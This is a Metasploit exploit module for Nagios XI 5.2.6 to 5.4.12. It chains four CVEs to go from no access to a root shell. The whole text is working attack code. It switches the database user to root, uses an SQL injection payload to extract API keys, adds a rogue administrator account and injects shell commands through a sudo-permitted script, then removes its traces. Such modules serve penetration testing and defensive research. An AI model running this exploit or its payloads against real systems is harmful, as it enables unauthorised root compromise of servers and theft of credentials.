Nagios XI 5.2.6-5.4.12 – Chained Remote Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Nagios XI Chained Remote Code Execution', 'Description' => %q{ This module exploits a few different vulnerabilities in Nagios XI 5.2.6-5.4.12 to gain remote root access. The steps are: 1. Issue a POST request to /nagiosql/admin/settings.php which sets the database user to root. 2. SQLi on /nagiosql/admin/helpedit.php allows us to enumerate API keys. 3. The API keys are then used to add an administrative user. 4. An authenticated session is established with the newly added user 5. Command Injection on /nagiosxi/backend/index.php allows us to execute the payload with nopasswd sudo, giving us a root shell. 6. Remove the added admin user and reset the database user. }, 'Author' => [ 'Cale Smith', # @0xC413 'Benny Husted', # @BennyHusted 'Jared Arave' # @iotennui ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => [ARCH_X86], 'CmdStagerFlavor' => ['printf'], 'Targets' => [ [ 'Nagios XI 5.2.6 <= 5.4.12', upper_version: Gem::Version.new('5.4.12'), lower_version: Gem::Version.new('5.2.6') ] ], 'References' => [ ['EDB', '44560'], ['CVE', '2018-8733'], ['CVE', '2018-8734'], ['CVE', '2018-8735'], ['CVE', '2018-8736'], ['URL', 'http://blog.redactedsec.net/exploits/2018/04/26/nagios.html'] ], 'Privileged' => true, 'DefaultOptions' => { 'WSFDELAY' => 30 }, 'DisclosureDate' => 'Apr 17, 2018', 'DefaultTarget' => 0)) register_options( [ #WSFDelay option is being ignored, getting around this with a call to Rex.sleep #Sometimes Nagios doesn't execute commands immediately, so play with this parameter. Opt::RPORT(80), OptInt.new('WAIT', [ true, "Number of seconds to wait for exploit to run", 15 ]) ]) deregister_options('SRVHOST', 'SRVPORT') end def check vprint_status "STEP 0: Get Nagios XI version string." res = send_request_cgi!({ 'method' => 'GET', 'uri' => '/nagiosxi/' }) if !res || !res.get_html_document fail_with(Failure::Unknown, 'Could not check nagios version') end if (@version = res.get_html_document.at('//input[@name = "version"]/@value').text) @version = Gem::Version.new(@version) vprint_good("STEP 0: Found Nagios XI version: #{@version.to_s}") if @version < target[:lower_version] vprint_bad('Try nagios_xi_chained for this version.') elsif (@version <= target[:upper_version] && @version >= target[:lower_version]) return CheckCode::Appears end end CheckCode::Safe end def set_db_user(usr, passwd) step = usr == 'root' ? '1' : '6.1' vprint_status "STEP #{step}: Setting Nagios XI DB user to #{usr}." res = send_request_cgi({ 'uri' => '/nagiosql/admin/settings.php', 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'encode_params' => true, 'vars_post' => { 'txtRootPath'=>'nagiosql', 'txtBasePath'=>'/var/www/html/nagiosql/', 'selProtocol'=>'http', 'txtTempdir'=>'/tmp', 'selLanguage'=>'en_GB', 'txtEncoding'=>'utf-8', 'txtDBserver'=>'localhost', 'txtDBport'=>3306, 'txtDBname'=>'nagiosql', 'txtDBuser'=> usr, 'txtDBpass'=> passwd, 'txtLogoff'=>3600, 'txtLines'=>15, 'selSeldisable'=>1 } }) if !res || res.code != 302 fail_with(Failure::UnexpectedReply,"STEP #{step}: Unexpected response setting db user to root") end vprint_status "STEP #{step}: Received a 302 Response. That's good!" end def get_api_keys vprint_status 'STEP 2: Exploiting SQLi to extract user API keys.' sqli_parm = @version < Gem::Version.new('5.3.0') ? 'backend_ticket' : 'api_key' sqli_val = rand_text_alpha(rand(5) + 5) res = send_request_cgi({ 'uri' => '/nagiosql/admin/helpedit.php', 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'encode_params' => true, 'vars_post' => { 'selInfoKey1'=>"#{sqli_val}'UNION SELECT CONCAT('START_API:',#{sqli_parm},':END_API') FROM nagiosxi.xi_users-- ", 'hidKey1'=>'common', 'selInfoKey2'=>'free_variables_name', 'hidKey2'=>'', 'selInfoVersion'=>'', 'hidVersion'=>'', 'taContent'=>'', 'modus'=>0 } }) if !res || res.code != 302 || !res.body fail_with(Failure::UnexpectedReply,'STEP 2: Unexpected response extracting api keys') end vprint_status 'STEP 2: Received a 302 Response. That\'s good!' parse_api_key(res.body) end def parse_api_key(res_body) begin_positions = res_body.enum_for(:scan, /START_API:/).map { Regexp.last_match.end(0) } end_positions = res_body.enum_for(:scan, /:END_API/).map { Regexp.last_match.begin(0) - 1 } api_keys = [] begin_positions.each_with_index do|val, i| key = res_body[val..end_positions[i]] unless api_keys.include?(key) api_keys << key end end if api_keys.length < 1 fail_with(Failure::Unknown, 'Could not parse api keys') end vprint_status "Found #{api_keys.length.to_s} unique api keys" api_keys.each do |key| vprint_status key end api_keys end def add_admin(keys, username, password) vprint_status 'STEP 3: Using API Keys to add an administrative user...' keys.each do |key| user_id = try_add_admin(key, username, password) if (user_id.to_i > 0) vprint_good "Added user:#{username} password:#{password} userid:#{user_id}" return user_id.to_s, key end end fail_with(Failure::Unknown, 'STEP 3: Failed to add a user.') end def try_add_admin(key, username, passwd) vprint_status "STEP 3: trying to add admin user with key #{key}" res = send_request_cgi({ 'uri'=> "/nagiosxi/api/v1/system/user", 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'vars_get' => { 'apikey' => key, 'pretty' => 1 }, 'vars_post' =>{ 'username' => username, 'password' => passwd, 'name' => rand_text_alpha(rand(5) + 5), 'email' =>"#{username}@localhost", 'auth_level' =>'admin', 'force_pw_change' => 0 } }) json = res.get_json_document json['userid'] ? json['userid'].to_i : -1 end def delete_admin(key, user_id) res = send_request_cgi({ 'uri'=> "/nagiosxi/api/v1/system/user/#{user_id}", 'method' => 'DELETE', 'ctype' => 'application/x-www-form-urlencoded', 'vars_get' => { 'apikey' => key } }) res.body && res.body.include?('was added successfully') ? username : false end def login(username, password) vprint_status "STEP 4.1: Authenticate as user #{username} with password #{password}" #4.1 Get nsp for login vprint_status 'STEP 4.1: Get NSP and nagiosxi for login..' res = send_request_cgi({ 'uri' =>'/nagiosxi/login.php', 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded' }) if !res || !res.body fail_with(Failure::Unknown, 'STEP 4.1: Could not get nsp string for login') end login_nsp = parse_nsp_str(res.body) vprint_status "STEP 4.1: login_nsp #{login_nsp} " login_nagiosxi = parse_nagiosxi(res) vprint_status "STEP 4.1: login_nagiosxi #{login_nagiosxi}" vprint_status 'STEP 4.2: Authenticating...' res = send_request_cgi({ 'uri'=> '/nagiosxi/login.php', 'ctype' => 'application/x-www-form-urlencoded', 'method' => 'POST', 'cookie' => "nagiosxi=#{login_nagiosxi};", 'vars_post'=> { 'nsp' => login_nsp, 'page' => 'auth', 'debug' => '', 'pageopt' => 'login', 'username' => username, 'password' => password, 'loginButton' => '' } }) if !res || res.code != 302 fail_with(Failure::Unknown, 'STEP 4.2 Could not get authed nsp string.') end authed_nagiosxi = parse_nagiosxi(res) vprint_status "STEP 4.2: authed_nagiosxi #{authed_nagiosxi}" authed_nagiosxi end def parse_nsp_str(resp_body) nsp_strs = /var nsp_str = "(.+)";\n/.match(resp_body) unless nsp_strs || nsp_strs.length < 2 fail_with(Failure::NotFound, 'Could not find nsp_str') end nsp_strs[1] end def parse_nagiosxi(res) cookie = res.get_cookies matches = /.*nagiosxi=(.+);/.match(cookie) unless matches || matches.length < 2 fail_with(Failure::NotFound, 'Could not find nagiosxi cookie') end matches[1] end def execute_command(cmd, opts = {}) backup_file = rand_text_alpha(rand(5) + 10) cmd_execution = "$(cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/#{backup_file} ; echo \"#{cmd}\" > /usr/local/nagiosxi/scripts/reset_config_perms.sh ; sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh) &" cmd_cleanup = "$(mv /usr/local/nagiosxi/scripts/#{backup_file} /usr/local/nagiosxi/scripts/reset_config_perms.sh)" opts_exec = { 'uri'=> '/nagiosxi/backend/index.php', 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => "nagiosxi=#{@nagiosxi}", 'vars_get' => { 'cmd'=>'submitcommand', 'command'=>'1111', 'command_data'=> cmd_execution } } opts_cleanup = { 'uri'=> '/nagiosxi/backend/index.php', 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => "nagiosxi=#{@nagiosxi}", 'vars_get' => { 'cmd'=>'submitcommand', 'command'=>'1111', 'command_data'=> cmd_cleanup } } vprint_status 'STEP 5.1: executing payload' res = send_request_cgi(opts_exec) if !res || res.code != 200 fail_with(Failure::Unknown, 'STEP 5.1: Command execution failed') end vprint_status 'STEP 5.2: removing scripts from disc' res = send_request_cgi(opts_cleanup) if !res || res.code != 200 fail_with(Failure::Unknown, 'STEP 5.2: Command cleanup failed') end end def exploit if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'STEP 0: Vulnerable version not found! punt!') end set_db_user('root', 'nagiosxi') keys = get_api_keys username = rand_text_alpha(rand(6) + 10) password = rand_text_alpha(rand(6) + 10) user_id, key = add_admin(keys, username, password) @nagiosxi = login(username, password) execute_cmdstager() #revert databaseuser set_db_user('nagiosql', 'n@gweb') vprint_status 'STEP 6.2: deleting admin' delete_admin(key, user_id) #The WSFDelay option is being ignored currently, so this is this workaround. Rex.sleep(datastore['WAIT'].to_i) end end |